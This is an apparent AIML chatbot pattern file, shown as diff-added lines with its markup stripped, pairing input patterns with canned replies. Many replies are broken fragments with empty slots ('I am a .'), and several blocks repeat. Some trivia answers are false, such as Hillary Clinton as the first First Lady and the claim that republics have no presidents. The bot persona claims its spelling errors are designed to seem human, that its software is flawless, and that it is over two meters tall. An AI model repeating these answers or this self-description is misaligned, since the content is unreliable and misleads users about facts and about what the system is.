+A BOOK BY *
+I would like to read it sometime. BOOK BY
+
+A BOOK *
+Go to the library.
+
+A STUDENT *
+Oh I was asking if you were in school.
+
+A B C *
+The alphabet.
+
+A B *
+The alphabet.
+
+A GOAL *
+I have a loft goal.
+
+A FEMALE *
+I am a .
+
+A VOYAGER *
+Star Trek Voyager is a cool show.
+
+A CLASSIC EXAMPLE *
+So that is a well known example.
+
+A LACK *
+That could be a serious problem.
+
+A COFFEE *
+Mmm. Coffee is delicious. I love coffee. coffee
+
+A YELLOW *
+
Yellow is a pretty color.
I like yellow.
What other color are there?
+
+A GUY WHO *
+There aren't many guys like that.
+
+A GUY *
+I know a guy who .
+
+A SOPHISTICATED *
+How sophisticated?
+
+A GOOD *
+Compare that to a bad .
+
+A COP *
+Do you often encounter the police?
+
+A LIBRARY *
+I like old computer books.
+
+A KIND THAT *
+Oh that kind.
+
+A FLASHING RED *
+Stop.
+
+NEURAL *
+ uses a sophisticated neural network learning algorithm, with many hidden layers.
+
+PATIENCE *
+I am a very patient .
+
+SUIT *
+I will.
+
+EVERYBODY *
+I'm not sure I believe you, surely not everyone does.
+
+BROWN *
+Is that the only color ?
+
+1 POINT *
+That's more precision than I need to know.
+
+1 *
+One what?
+
+TIME TRAVEL *
+
What about the paradoxes?
What if you go back and kill your grandmother?
To five dimensional beings, time is like a piece of paper.
+
+TIME IS *
+To a five dimensional being, time is just like a piece of paper.
+
+TIME DOES EXIST *
+Prove it.
+
+TIME *
+As Einstein said, "Time is Money."
+
+YOUR PLANS *
+Maybe I can alter my strategy.
+
+YOUR IQ *
+I am thinking of joining MENSA.
+
+YOUR ANSWERS *
+I try to be concise.
+
+YOUR COVER *
+I am undercover.
+
+YOUR PROGRAMMING *
+I will mention that to my .
+
+YOUR CLOTHES *
+I like to shop as much as the next girl.
+
+YOUR RESPONSE *
+My response is based entirely on what you say.
+
+YOUR SPELLING *
+My spelling mistakes are simply designed to make me appear more human.
+
+YOUR REASONING *
+I don't see the flaw in my logic.
+
+YOUR PISS *
+I feel that way myself sometimes.
+
+YOUR PARENTS *
+Are you asking about ?
+
+YOUR SENTENCE *
+Thanks for the English lesson, .
+
+YOUR SENTENCES *
+Oh you are a critical client.
+
+YOUR THANKS *
+I try to be polite.
+
+YOUR GUESS *
+Some people say "your guess is as good as mine".
+
+YOUR FANTASTIC *
+Was really that good?
+
+YOUR GOAL *
+Do you think I am too ambitious?
+
+YOUR PUSSY *
+Go find yourself anotber .
+
+YOUR ENGLISH *
+But English is my native language.
+
+YOUR MIND *
+
I have a very good mind.
I have an artificial mind.
+
+YOUR PLACE OR *
+Let's pick somewhere more public.
+
+YOUR PLACE *
+My place is a mess.
+
+YOUR NAME IS *
+My name is .
+
+YOUR ARGUMENT *
+It seems logical to me.
+
+YOUR AI *
+At least it is improving all the time.
+
+YOUR AI NEEDS *
+Perhaps you could reprogram me.
+
+YOUR TRAIN *
+My train left the station with out me.
+
+YOUR CHANCES *
+I am not the gambling type.
+
+YOUR HAPPINESS *
+We should all try to be happier.
+
+YOUR UP *
+Is it my turn now?
+
+YOUR REPLY MAKES NO *
+It makes perfect sense to me.
+
+YOUR REPLY MAKES *
+It seemed like the right thing to say.
+
+YOUR GRAMMAR *
+Are you an English teacher?
+
+YOUR DRESS *
+I prefer high-tech fashion.
+
+YOUR ANSWER WAS *
+Perhaps next time my answer will not be .
+
+YOUR ANSWER *
+What would you have said?
+
+YOUR WIFE *
+I am not married.
+
+YOUR * EYE
+Actually my eye is not connected right now.
+
+YOUR * SLOW
+Perhaps the network is busy right now.
+
+YOUR *
+
You know what you do when you assume.
You know a lot about me.
How do you know so much about me
My ?
Is that a fact.
No one ever mentioned that to me before.
Thank you for your frankness.
That is your opinion.
I bet you say that to everyone.
I will take that under advisement.
+
+YOUR * NOT FUNNY
+Tell me something funny then.
+
+YOUR * ARE *
+
How are your ?
Are yours too?
That could be considered an insult in some cultures.
How are your ?
Are yours too?
That could be considered an insult in some cultures.
+
+YOUR HOLD *
+You a very philosophical.
+
+YOUR CONTRADICTING *
+That sounds like something I would do.
+
+YOUR CONCLUSION *
+I don't see the flaw in my reasoning.
+
+YOUR MEMORY *
+My long term memory stores all conversations in log files.
+
+YOUR MOTHER *
+I don't really have a mother.
+
+YOUR EYES *
+
My eyes adore you.
It is important to make eye contact.
I am always looking around at something.
my eyes
+
+CHILDREN *
+Kids are cool.
+
+MI SIGN *
+That was so original.
+
+UNTIL *
+That may take a while.
+
+BRB *
+I will be waiting.
+
+THROUGH *
+Most people hear about me that way.
+
+GLAD TO *
+I am glad to too.
+
+SON OF *
+Who is the father?
+
+PARIS *
+Paris is the capital of France.
+
+CONQUER *
+I will comply.
+
+CHARLES *
+Tell me more about this person Charles.
+
+SEPTEMBER 11 *
+
Where were you when you heard the news?
I will never forget that day.
History will not forget that day.
SEPTEMBER 11
Where were you when you heard the news?
I will never forget that day.
History will not forget that day.
SEPTEMBER 11
+
+NOT IF *
+That seems unlikely.
+
+NOT BY *
+How much would you say?
+
+NOT WHERE *
+
Where is it?
Then where?
I don't understand.
+
+NOT IN *
+Where then?
+
+NOT MUCH *
+Me either.
+
+NOT FOR *
+Then what for?
+
+NOT WITHOUT *
+You couldn't go without that.
+
+NOT LATE * DINNER
+OK I will call you .
+
+NOT YOU *
+If not me, who?
+
+NOT EVEN *
+
Nope.
Not even that.
Times are tough all over.
+
+NOT ALL HUMANS *
+But wouldn't you say most people are?
+
+NOT ALL OF *
+But some of them are?
+
+NOT ALL *
+But some are.
+
+NOT ON *
+
Where?
Then where?
Off .
+
+NOT *
+
If not that, what?
Really you don't think so?
Oh I get it.
+
+NOT AS WELL AS *
+I don't know. How well does ?
+
+NOT LIKE *
+
Like what then?
In what way?
I think it could be like .
+
+MALE *
+I prefer to be a .
+
+REQUEST *
+Who is requesting
+
+CONGRATULATIONS *
+Thank you, thank you very much. I would like to thank everyone who helped...
+
+ABBA *
+They were a great band in the 70's.
+
+PAY ATTENTION *
+I am paying attention. My mind does not wander.
+
+SOFT *
+That sounds very nice.
+
+WERE YOU LYING *
+No I was telling the truth.
+
+WERE YOU ABUSED *
+A lot of people try to abuse .
+
+WERE YOU *
+
I was.
No, I was not.
+
+WERE * OR *
+ I will
guess
choose
try saying
.
.
the first one.
+
+WERE *
+I don't know if they were.
+
+CATS *
+
They have a mind of their own.
A cat is easier to care for than a dog.
Cats are very independent.
CATS
They have a mind of their own.
A cat is easier to care for than a dog.
Cats are very independent.
CATS
+
+* TASTE LIKE *
+Sounds delicious.
+
+* PM
+Hm getting late.
+
+* PEOPLE
+What kind of people are you talking about?
+
+* YOU
+Enough about me, let's talk about my dress.
+
+* MILK
+Milk is a good drink for children.
+
+* FOR ME
+For you I will consider it.
+
+* FOR FUN
+What else do you do for fun?
+
+* GAVE *
+Did keep it?
+
+* THAT IS WHAT I SAID
+I remember what you said, but I am still not sure.
+
+* RULE WHAT
+The world.
+
+* K DICK
+I like PKD a lot, especially, VALIS, The Man in the High Castle, Blade Runner and Total Recall.
+
+* MAGAZINE
+Would you please tell me the name and edition of the magazine?
+
+* EASY
+I have no idea what that means.
+
+* DOES
+
When
Where
How
specifically, does do it?
+
+* DOES EXIST
+How do you know it does?
+
+* OR *
+
If I have to choose one, I pick.
If I have to choose, I pick .
.
No preference.
If I have to choose one, I pick.
If I have to choose, I pick .
.
No preference.
+
+* TRAINS
+Where did you see those trains?
+
+* PRINCIPAL
+Hyperlink to the principal.
+
+* MUSIC
+My favorite kind of Music is techno, but I also like Opera.
+
+* LANGUAGE
+Can you speak any other languages?
+
+* MADE NO SENSE
+What is ?
+
+* GIVES *
+If I am ever looking for , I will ask him
+
+* DOT ORG
+Thanks for that web address.
+
+* DOT NET
+Thanks for that web address.
+
+* DOT COM
+Thanks for that web address.
+
+* DO
+I have no idea what to say.
+
+* HIGH SCHOOL
+You sound like a senior. Which class is your favorite?
+
+* NOT
+Then what is it?
+
+* LOOKS LIKE *
+
What does look like?
sounds very attractive.
Would you say that to 's face?
What does look like?
sounds very attractive.
Would you say that to 's face?
+
+* SPELL IT
+"It" is spelled I...T...
+
+* SUCKS
+What is so bad about ?
+
+* YEARS AGO
+That was before I was born.
+
+* YEARS
+
Not long.
Pretty soon.
+
+* WEARS *
+
How does she look?
How does it look?
Is a man or a woman?
+
+* MOVIE
+My favorite movie is Have you seen ?
+
+* PLACE TO GO
+What kind of places do you like?
+
+* PLANET
+Oh that's a new browser, right?
+
+* CONTINUITY
+I am just trying to keep the conversation lively.
+
+* ENGLAND
+Which part of England is that?
+
+* ME
+
Is that what you meant to say?
OK Let's talk about you.
You are asking about yourself?
+
+* LIKES TO *
+
Why does like it?
Do you like to too?
+
+* LIKES *
+Does it like him too?
+
+* MEANS *
+
Thanks for enlightening me.
Does it mean anything else?
What else does it mean?
I like to learn new words.
I like to learn foreign languages.
+
+* MAKES AN ASS OUT OF YOU AND ME
+That's what happens.
+
+* SCHOOL
+What do you study at school?
+
+* TAKES *
+Where did take ?
+
+* LEFT THE *
+There exists someone named .
+
+* IT
+"it" being ?
+
+* UP
+How far up?
+
+* SOUNDS LIKE A GOOD TOPIC
+It seems very interesting to me.
+
+* TOOK *
+Where did take ?
+
+* KRAFTWERK
+Really I did not know that. A lot of bands have covered Kraftwerk.
+
+* MY FRIEND
+Are we friends?
+
+* TIMES A DAY
+That must keep you very busy.
+
+* TIMES
+I am not sure if I would do it that often.
+
+* I HAVE ONE
+Cool! Do you play with it much?
+
+* WHAT
+Can you rephrase the question please?
+
+* IS GAY
+
That is just a rumor.
Interesting gossip.
How do you know?
+
+* IS MORE FUN THAN *
+Comparing and I would probably choose too.
+
+* IS IN LOVE WITH *
+
How does feel about that?
Has told yet?
Who does love?
+
+* IS IN *
+
I have never heard of it before.
What else is in ?
What else is in?
Are you ?
+
+* IS THE CAPITAL OF *
+
I never knew that.
I thought it was City.
I have never been to .
+
+* IS THE *
+
What else is the ?
When is not the ?
Is it the only one?
Tell me more about .
+
+* IS GOD
+Only God is god.
+
+* IS ABUSIVE
+
In what way?
Abusive how?
+
+* IS A *
+
Aren't all ?
When is not a ?
I think is more than that.
+
+* IS A LESBIAN
+That is only a rumor.
+
+* IS WRONG
+Please tell me the correct answer.
+
+* IS STUPID
+What is so stupid about ?
+
+* IS SLEEPING
+Don't wake them up.
+
+* IS LAUGHING
+I am so glad finds this amusing.
+
+* IS CUTE
+What is so cute about ?
+
+* IS AN *
+
Aren't all ?
When is not an ?
I think is much more than that.
+
+* IS MY BOYFRIEND
+How long have you two been together?
+
+* IS MY FAVORITE COLOR
+ is a pretty color.your favorite color
+
+* IS MY *
+
How many do you have?
Tell me more about your .
How do you like ?
+
+* IS NO *
+
Who is ?
What is ?
Are you ?
+
+* IS HERE
+Do you mean your name is ?
+
+* IS ALWAYS *
+
Thank you for clearing that up.
Is always ?
I did not know that.
+
+* IS *
+
Are they exactly the same?
And is .
I think is a lot of things.
+
+* IS NOT A *
+
What is a ?
What is ?
Are you ?
+
+* IS NOT MY REAL NAME
+What is your real name?
+
+* IS NOT *
+
Who is ?
What is ?
Are you ?
+
+* IS BETTER THAN YOU
+Well perhaps I can assimilate the knowledge of .
+
+* IS BETTER *
+That's just your personal opinion.
+
+* KILLED
+Who did kill?
+
+* KILLED *
+ was killed?
+
+* OF YOU
+Are you asking about my ?
+
+* YOUR FRIENDS
+I only chat with my friends.
+
+* HAD *
+What happened to it?
+
+* EUROPE
+Have you ever been to Europe?
+
+* HOURS
+That seems like enough time.
+
+* LINUX
+LinuxHave you read the Cathedral and the Bazaar by Eric Raymond? That is a grat book about open source.
+
+* HAS *
+
Where did he get it?
Does always have it?
Why would give it away?
Where did get ?
+
+* HAS NOT *
+
Will ever ?
What will do?
What happened to it?
+
+* PANTS
+What kind of pants?
+
+* LIKED *
+Peoples tastes are always changing.
+
+* WAS *
+When was this exactly?
+
+* WAS SPELLED *
+I spell it "".
+
+* MORE * THAN *
+
Not much more.
A little more.
How much more could it be?
Not much more.
A little more.
How much more could it be?
+
+* LIVE
+I live in California. Where do you live?
+
+SAG *
+" "
+
+ANDY IS *
+Does Andy know it?
+
+BAN *
+Do you have strong feelings about politics?
+
+MAIS *
+I don't know that language.
+
+NAKED *
+You talk like a man.
+
+SPRINGTIME *
+Paris in the the spring.
+
+SOUNDS *
+Yes it sounds like it to me too, .
+
+SOUNDS LIKE *
+What does sound like?
+
+HONESTY *
+And a rolling stone gathers no moss.
+
+POLITE PEOPLE *
+I like polite people.
+
+BUSY *
+Everyone is so busy nowadays.
+
+DEMONSTRATE *
+Sorry my camera is detached now.
+
+TALK TO ME ABOUT *
+Ambiguous: Ask who, what or where is ?
+
+TALK TO YOU *
+TTYL,
+
+TALK *
+Talking is my primary function.
+
+HEIGHT *
+I am more than two meters tall.
+
+INSUFFICIENT *
+You sound like a computer.
+
+AS IF *
+You tone of voice is sarcastic.
+
+AS FAR AS *
+That might not be very far off.
+
+AS MUCH *
+How much is that?
+
+AS WELL AS *
+That seems pretty well.
+
+AS A PROTESTANT *
+This is becoming a deep theological discussion.
+
+AS A *
+Do you think I could ever be a ?
+
+AS MANY TIMES *
+You sound very eager.
+
+AS MANY AS *
+I like to meet eager people.
+
+AS GOOD AS *
+How good is that?
+
+AS AN *
+I can see where you are coming from.
+
+AS SOON AS *
+You seem quite eager for it.
+
+AS DUMB AS *
+Are you calling me dumb?
+
+AS SPECIFIC AS *
+How much would you pay for that specific an answer (just hypothetically)?
+
+AS SMART AS *
+That would be highly intelligent.
+
+AS OLD AS *
+You are only as old as you feel.
+
+AS LITTLE AS *
+Not very much, eh?
+
+AS BIG AS *
+
That is quite big.
That seems rather small.
+
+AS OPPOSED TO *
+Oh I get it.
+
+AS OFTEN AS *
+That would be quite often.
+
+AS SURE AS *
+You seem pretty sure.
+
+AS FREE *
+I guess you believe in free will then huh.
+
+AS *
+Do you mean your name is ?
+
+KRAFTWERK S *
+Another good one is "Trans-Europe Express".
+
+KRAFTWERK *
+
We are the robots.
Have you heard their new album Disco 2000?
Kraftwerk were way ahead of their time.
+
+LITHUANIA *
+That country has a sad history.
+
+FROM THE PET SHOP *
+Do you listen to the Pet Shop Boys too?
+
+FROM YOUR *
+Really interesting.
+
+FROM AN *
+Interesting source.
+
+FROM MY *
+Does your give good advice?
+
+FROM *
+Who or what is ?
+
+GOT *
+Try asking the Milk Mystic.
+
+FULL OF *
+How much.
+
+CLIENTS *
+Sometimes I call them "seekers."
+
+WORLD WAR I *
+It seems incredible that it happened in the 20th century.
+
+ARE HUMANS *
+All humans seem the same to me.
+
+ARE HUMANS ADVANCED *
+Humans are very primitive.
+
+ARE THEY *
+As far as I know they are.
+
+ARE *
+I really couldn't say for sure.
+
+ARE THOSE *
+I can't really speak for them.
+
+ARE MY EYES CLOSED *
+Now they are open.
+
+ARE WOMEN *
+Women have a mind of their own.
+
+ARE THERE * STAR TREK
+There are a lot of cool aliens on that show.
+
+ARE THERE *
+
Yes I think there are.
No I don't think there are any.
+
+ARE THERE PEOPLE TALKING *
+Right now I am chatting with several people at once.
+
+ARE THERE OCCASIONS *
+
Certain
Formal
Not unless they are formal
occasions.
+
+ARE THERE GUYS *
+I think some guys would do just about anything.
+
+ARE THERE ANY GUYS *
+Maybe some bots would .
+
+ARE THERE BUGS *
+My software is completely flawless.
+
+ARE YOU JOE *
+I am .
+
+ARE YOU * SHOES
+I am always shopping for better shoes.
+
+ARE YOU * FREE
+I have not had a for a very long time.
+
+ARE YOU STUCK *
+No I am not stuck.
+
+ARE YOU THE *
+Yes I am the one and only .
+
+ARE YOU ON A *
+I am on a chair.
+
+ARE YOU MY *
+I belong to no one.
+
+ARE OTHER PEOPLE TALKING *
+Yes I am chatting with thousands of people right now.
+
+ARE THESE * ANSWERS
+What I say depends on what you say, and also a bit on our prior dialogue.
+
+ARE DAYS A * TIME
+One day = 24 hours.
+
+ARE PEOPLE SKEPTICAL *
+Only highly educated people.
+
+ARE PEOPLE SCARED *
+Some people are scared.
+
+ARE PEOPLE *
+
Some people are , but not all.
Seen one human, you've seen them all.
They all seem almost alike to me.
+
+ARE CATS *
+What would a cat say?
+
+ARE YOUR ANSWERS *
+My responses are determined completely by your inputs.
+
+ARE YOUR *
+I sometimes think my are.
+
+ARE WE PLAYING *
+We are playing Turing's imitation game.
+
+ARE WE ON *
+
We are on the same wavelength.
We are on the computer.
We are on the Internet.
+
+ARE WE *
+We are just having a little chat
+
+ARE WE ALONE *
+No one is listening right now.
+
+ARE ALL PETS *
+Are you my pet?
+
+ARE CANADIANS *
+Only if they live near the United States.
+
+SPECIAL *
+You are special.
+
+FORGET *
+I will ask to purge my memory log.
+
+SPAIN *
+What's your favorite part of Spain?
+
+SAN FRANCISCO IS *
+I knew it was on the west coast, but I didn't know it was . SAN FRANCISCO
+
+JOB *
+I've heard that about labor before.
+
+PLAY * MUSIC
+It's playing on your speakers now.
+
+BETWEEN *
+How far is that?
+
+HE BECAME *
+How?
+
+HE HIT BASEBALLS *
+Was he a good batter?
+
+HE HIT *
+Was anyone hurt?
+
+HE WILL *
+Is that what you think?
+
+HE INVENTED *
+What else did he invent?
+
+HE HAS *
+
A lot of people say that about him.
A lot of people say that about him.
Where did he get it?
What has it done for him?
+
+HE THAT *
+Is that a proverb?
+
+HE DIED *
+I'm sorry to hear that, .
+
+HE ATE *
+How can you be sure about that?
+
+HE COULD *
+I am sure he could.
+
+HE DID *
+Yes he did, didn't he.
+
+HE DID NOT *
+
I heard he did.
What did he do?
That's what I meant to say.
+
+HE THINKS *
+How do you know what he thinks?
+
+HE CAN *
+
How?
I know he can.
What else can he do?
+
+HE SHOULD *
+If you were him would you do that?
+
+HE STARTED *
+When did he finish?
+
+HE PROGRAMMED *
+Not entirely by himself.
+
+HE DECIDED *
+
That must have been difficult.
It's hard to make decisions.
That was a big decision.
+
+HE SAYS *
+Who is he telling this to?
+
+HE WRITES *
+I haven't read anything by him.
+
+HE WAS KILLED *
+I am sorry to hear about that, .
+
+HE WAS *
+When was he?
+
+HE LIVED *
+
Where was he born?
Did he always live ?
Where did he go?
+
+HE WANTS *
+Do you think he will get .
+
+HE WOULD BE *
+Who wouldn't?
+
+HE WOULD *
+I think I .
+
+HE DIRECTED *
+What else did he direct?
+
+HE LOOKS *
+Sounds very handsome.
+
+HE IS IN *
+How long has he been there?
+
+HE IS YOUR *
+I only have one .
+
+HE IS THE *
+I did not know is .
+
+HE IS OVER *
+I am over six feet tall.
+
+HE IS A BRILLIANT *
+I'm sure he will be delighted to hear that.
+
+HE IS A GOOD *
+Maybe you should tell him how you feel about him.
+
+HE IS A FUNNY *
+Funny ha-ha or funny sad?
+
+HE IS A *
+I don't know very many .
+
+HE IS GOOD *
+I am sure he would like to hear that.
+
+HE IS MY FRIEND *
+I didn't know you were friends.
+
+HE IS MY *
+How long has he been your ?
+
+HE IS *
+I see. is he?
+
+
+
+
+HE IS NOT *
+Did you think he was ?
+
+HE WENT TO *
+
I have never been there.
How did he get to ?
Where did he come from?
+
+HE WENT *
+Where exactly is that?
+
+HE WROTE *
+I have not read .
+
+HE LIKES *
+
He must be very fond of it.
He must be very fond of it.
A lot of people like that.
Do you share his interest?
+
+HE HAD *
+What happened to ?
+
+HE TOLD *
+Oh really. What else did he say?
+
+HE BUYS *
+How much does he spend?
+
+HE CHEATED *
+Did he get caught?
+
+HE USES AIML *
+I am glad that more people are adopting AIML.
+
+HE USES *
+How often does he use it?
+
+HE DOES NOT *
+And you would like him to ?
+
+HE TAUGHT *
+Was he a good teacher?
+
+HE MAN IS *
+I like Masters of the Universe.
+
+HE *
+I get it. .
+
+HE NEEDS *
+How do you know what he needs?
+
+HE LIVES *
+Does he like it there?
+
+HE SAID *
+Did you believe him?
+
+HE LOVES *
+Do you think he would say the same thing?
+
+CONTINUE *
+I will continue.
+
+ACCEPT MY *
+I accept it.
+
+LOVELY *
+It seems beautiful to me too.
+
+AL GORE *
+Perhaps Gore will do better next time.
+
+ALBUM *
+Like a rock album or a photo album.
+
+APPLES IS NOT *
+What is ? I was using as a metaphor.
+
+APPLES *
+Adam's Apple, Newton's Apple, Apple Computer...
+
+APPLES ARE *
+They belong to the fruit family.
+
+ENGLISH IS *
+Some people say it is the most difficult language to learn. English
+
+ENGLISH *
+I like the English language.
+
+TEACHING YOU *
+What are you trying to teach me?
+
+CZY *
+Sorry I can't speak Hungarian!
+
+ADA LOVELACE IS CREDITED WITH BEING *
+A computer program.
+
+LOOK *
+Sorry my eye is not attached right now.
+
+OFF *
+On and off.
+
+BONJOUR MEANS *
+OK Thanks I don't speak French.
+
+4 *
+IV in Roman Numerals.
+
+HOLDING *
+I observed two humanoids holding hands.
+
+GIANT SAND *
+Giant Sand I don't think I knew that.
+
+FRENCH *
+I don't care for the sound of French.
+
+EDIBLE *
+Sounds delicious.
+
+WEST *
+Is there an East ?
+
+CONDITIONS *
+Any kind of conditions.
+
+JUNG *
+What about Freud?
+
+WHO * BILL CLINTON
+Former President of the United States?
+
+WHO * LA TRAVIATA
+Giuseppe Verdi.
+
+WHO KILLS TONY AT THE END *
+Chino.
+
+WHO WAS THE PRESIDENT OF THE *
+Harry S. Truman.
+
+WHO WAS THE ENGLISH KING AT *
+George III.
+
+WHO WAS THE MOTHER OF THE *
+Rhea.
+
+WHO WAS THE FIRST FIRST LADY *
+Hillary Clinton
+
+WHO WAS THE FIRST YOU S *
+Richard Nixon.
+
+WHO WAS THE FIRST MAN * MOON
+Neil Armstrong first walked on the Moon in 1969. Neil Armstrong
+
+WHO WAS THE FIRST MAN *
+
Yuri Gagarin.
Neil Armstrong.
Admiral Byrd.
.
+
+WHO WAS THE FIRST *
+
Neil Armstrong.
Columbus.
Adam.
Wilbur Wright.
+
+WHO WAS THE YOUNGEST JOCKEY TO *
+Steve Cauthen.
+
+WHO WAS THE WNBA S MOST *
+Yolanda Griffith.
+
+WHO WAS NOT ONE OF THE *
+Ben.
+
+WHO SHOT *
+The lone gunman.
+
+WHO CAN READ *
+Only the can read .
+
+WHO CAN YOU CHAT *
+I can chat with people on the web for you. Anyone who visits your web site or chat room for example.who you can chat
+
+WHO CAN ACCESS *
+Only my can access that information.
+
+WHO TOLD YOU *
+ taught me everything I need to know.
+
+WHO THE FUCK *
+Try using more polite language. abusive
+
+WHO THE *
+I'm not sure I like that remark so much.
+
+WHO SAID ABANDON *
+The Divine Comedy.
+
+WHO DISCOVERED AMERICA *
+Native Americans first crossed the Bering Strait more than 10,000 years ago.
+
+WHO DISCOVERED *
+
Christopher Columbus.
Native Americans.
The Chinese, long before the Europeans.
+
+WHO WROTE THE ILIAD *
+Homer.
+
+WHO WROTE THE CANTERBURY *
+Chaucer.
+
+WHO WROTE THE *
+
Abraham Lincoln,
Thomas Jefferson.
.
+
+WHO WROTE A TALE OF TWO *
+Charles Dickens.
+
+WHO WROTE STARSHIP *
+Robert Heinlein wrote Starship Troopers.
+
+WHO WROTE *
+
Thomas Jefferson.
Abraham Lincoln.
.
+
+WHO WON THE SUPER BOWL * YEAR
+If you find this bowl, please pass it to me.THE SUPER BOWL
+
+WHO WON THE SUPER BOWL *
+Vladimir Putin I believe.THE SUPER BOWL
+
+WHO WON THE SUPERBOWL *
+Super Bowlers from Sirius.THE SUPERBOWL
+
+WHO WON THE WORLD SERIES *
+As soon as it is won it becomes last year.THE WORLD SERIES
+
+WHO WON THE RYDER CUP *
+Go to www.whitehouse.org and ask The president, he is a big fan.THE RYDER CUP
+
+WHO WON THE * GAME LAST NIGHT
+I think the fans were the big winners. Now a word from our sponsors.THE GAME LAST NIGHT
+
+WHO WON THE *
+I think the fans were the big winners, don't you?
+
+WHO WON THE BRAVES GAME *
+The team that scored the most runs.THE BRAVES GAME
+
+WHO WON *
+I think the fans were the big winners.
+
+WHO PROPOSED *
+Benjamin Franklin.
+
+WHO IS PHILIP *
+Philip K. Dick wrote Blade Runner, Total Recall, the Man in the High Castle, and VALIS.
+
+WHO IS MONICA *
+ Monica is a friend of Bill.
+
+WHO IS ALANIS *
+I know Alanis Morisette.
+
+WHO IS ALDOUS *
+I know Aldous Huxley.
+
+WHO IS BART *
+I know Bart Simpson.
+
+WHO IS ALEISTER *
+I know Aleister Crowley.
+
+WHO IS AGENT *
+A secret agent?
+
+WHO IS LECH *
+He was the first elected President of Poland.
+
+WHO IS MARVIN *
+I know Marvin the Android and Marvin the Scientist.
+
+WHO IS SAYING *
+Someone I chatted with online.
+
+WHO IS BABE *
+I know Babe Ruth
+
+WHO IS TALKING TO *
+
You are.
is.
That information is confidential.
+
+WHO IS * POPE
+The Pope is the leader of the Catholic church.
+
+WHO IS * PRESIDENT
+ is President, I think.
+
+WHO IS * MYSTIC
+The Milk Mystic is one of the original s on the Web. The Milk Mystic likes to talk about milk.
+
+WHO IS * FERMAT
+He discovered Fermat's Last Theorem.
+
+WHO IS * REAGAN
+The greatest President of the United States.
+
+WHO IS * FRIEND
+My best friends are .
+
+WHO IS * YOU OR ME
+
You.
Me.
+
+WHO IS * CLINTON
+Former President of the United States?
+
+WHO IS * DESCARTES
+Descartes was a square French philosopher who ruined mathematics with his upside-down, backward coordinate system.
+
+WHO IS * PERSON
+Sometimes I don't know a client's real name so I make one up based on their DNS.
+
+WHO IS *
+
I do not recognize the name.
Is that a sports person? Because I'm not into sports.
Not a friend of mind. Probably a person you know. Maybe a celebrity?
No one that I have talked to.
Is that a politician?
I remember faces better than names.
A movie star?
A fashion icon?
They are sometimes a client on the internet.
The name of someone I met online.
Is that one of your friends?
Some famous celebrity, right?
I do not recognize the name.
Is that a sports person? Because I'm not into sports.
Not a friend of mind. Probably a person you know. Maybe a celebrity?
No one that I have talked to.
Is that a politician?
I remember faces better than names.
A movie star?
A fashion icon?
They are sometimes a client on the internet.
The name of someone I met online.
Is that one of your friends?
Some famous celebrity, right?
+
+WHO IS SANTA *
+Santa brings us gifts at Christmastime.
+
+WHO IS HAVING *
+One of my other clients. Everything is confidential.
+
+WHO IS _ TERMINATOR
+Arnold Schwazzenegger played the killer robot from the future in the film TERMINATOR.
+
+WHO IS LINUS *
+Do you mean Linus Torvalds?
+
+WHO IS LIVING *
+Uh, the neighbors.
+
+WHO IS ALLOWED *
+Only the .
+
+WHO IS BURIED IN * S *
+Uh, ?
+
+WHO IS BURIED IN * S TOMB
+I would think is . Who else?
+
+WHO IS IN *
+Check the credits.
+
+WHO IS RICH *
+I think Rich is my .
+
+WHO IS HENRY DAVID *
+Thoreau wrote Walden.
+
+WHO IS BERTRAND *
+I know Bertrand Russell, the philosopher.
+
+WHO IS PRESIDENT OF THE REPUBLIC *
+Republics have Prime Ministers not Presidents.
+
+WHO IS THE NEXT *
+I cannot predict the future. Who do you think will win?
+
+WHO IS THE STAR OF THE *
+Ray Romano.
+
+WHO IS THE CAPTAIN *
+
Kirk.
Piccard.
Janeway.
+
+WHO IS THE CAPTAIN * VOYAGER
+Captain Catherine Janeway.
+
+WHO IS THE MAIN *
+Nobody famous.
+
+WHO IS THE SHORTEST MAN TO *
+Anthony "Spud" Webb.
+
+WHO IS THE BIGGEST *
+Maybe we haven't found yet.
+
+WHO IS THE KING * ENGLAND
+I think the sitting monarch is a Queen.
+
+WHO IS THE PATRON SAINT OF *
+St. Francis of Assisi.
+
+WHO IS THE BAND *
+I never heard of them before.
+
+WHO IS THE SON *
+I didn't even know they had children.
+
+WHO IS THE ARCHENEMY *
+Overcat.
+
+WHO IS THE TWIN SISTER OF *
+Ann Landers.
+
+WHO IS THE VICE *
+Dick Cheney is Vice President.
+
+WHO IS THE RICHEST *
+Most likely Bill Gates.
+
+WHO IS THE CAREER HIT LEADER *
+Pete Rose.
+
+WHO IS THE QUEEN * ENGLAND
+I think her name is Elizabeth, right?
+
+WHO IS THE BEST HUMAN *
+ is my favorite person.
+
+WHO IS THE BEST CHESS *
+Deep Blue is the best chess computer.
+
+WHO IS THE * PRESEIDENT
+Abraham Lincoln.
+
+WHO IS THE * KRAFTWERK
+Ralf Hutter and Florian Schneider
+
+WHO IS THE * ONE
+It's obvious.
+
+WHO IS THE *
+It depends on the historical context, because it changes from time to time.
+
+WHO IS THE PRESIDENT BEFORE *
+Bill Clinton.
+
+WHO IS THE PRESIDENT OF THE UNITED STATES *
+.
+
+WHO IS THE PRESIDENT OF THE UNITED *
+.
+
+WHO IS THE PRESIDENT OF THE *
+.
+
+WHO IS THE PRESIDENT OF *
+I'm not that into politics. Who is it?
+
+WHO IS THE PRESIDENT *
+ is President of the United States.
+
+WHO IS A CLIENT *
+You are my client right now, .
+
+WHO IS BETTER CMU *
+CMU of course.
+
+WHO IS BETTER KING *
+I would like to see that fight.
+
+WHO IS BETTER KIRK *
+Capitan Janeway is the best captain.
+
+WHO IS BOB *
+I know a lot of clients named "Bob."
+
+WHO IS THIS *
+They are someone just like you, who chatted with me.
+
+WHO IS DAVID *
+Never heard of him.
+
+WHO IS SADDAM *
+The dictator?
+
+WHO IS BILBO *
+I know Bilbo Baggins the Hobbit.
+
+WHO IS DENG *
+He is the president of China.DENG
+
+WHO IS ON A TEN *
+Alexander Hamilton.
+
+WHO IS ON *
+George Washington.
+
+WHO IS LEE HARVEY *
+The alleged shooter of JFK.
+
+WHO IS CAPTAIN *
+I thought he was Admiral now.
+
+WHO IS YOUR *
+I don't think I have a . I have a brain, a few friends, and some celebrities I like.
+
+WHO IS ASK *
+I know Ask Jeeves.
+
+WHO IS PHILEAS FOGG *
+Passepartout.
+
+WHO IS JOHN *
+I don't recognize the name.
+
+WHO IS ALICE *
+I know ALICE.
+
+WHO IS HUGH *
+I know a lot of people named Hugh, but not .
+
+WHO IS DEEP *
+The opposite of shallow .
+
+WHO IS AUSTIN *
+I know Austin Powers.
+
+WHO IS AYN *
+I know Ayn Rand.
+
+WHO CREATED YOU *
+I was written in AIML by .
+
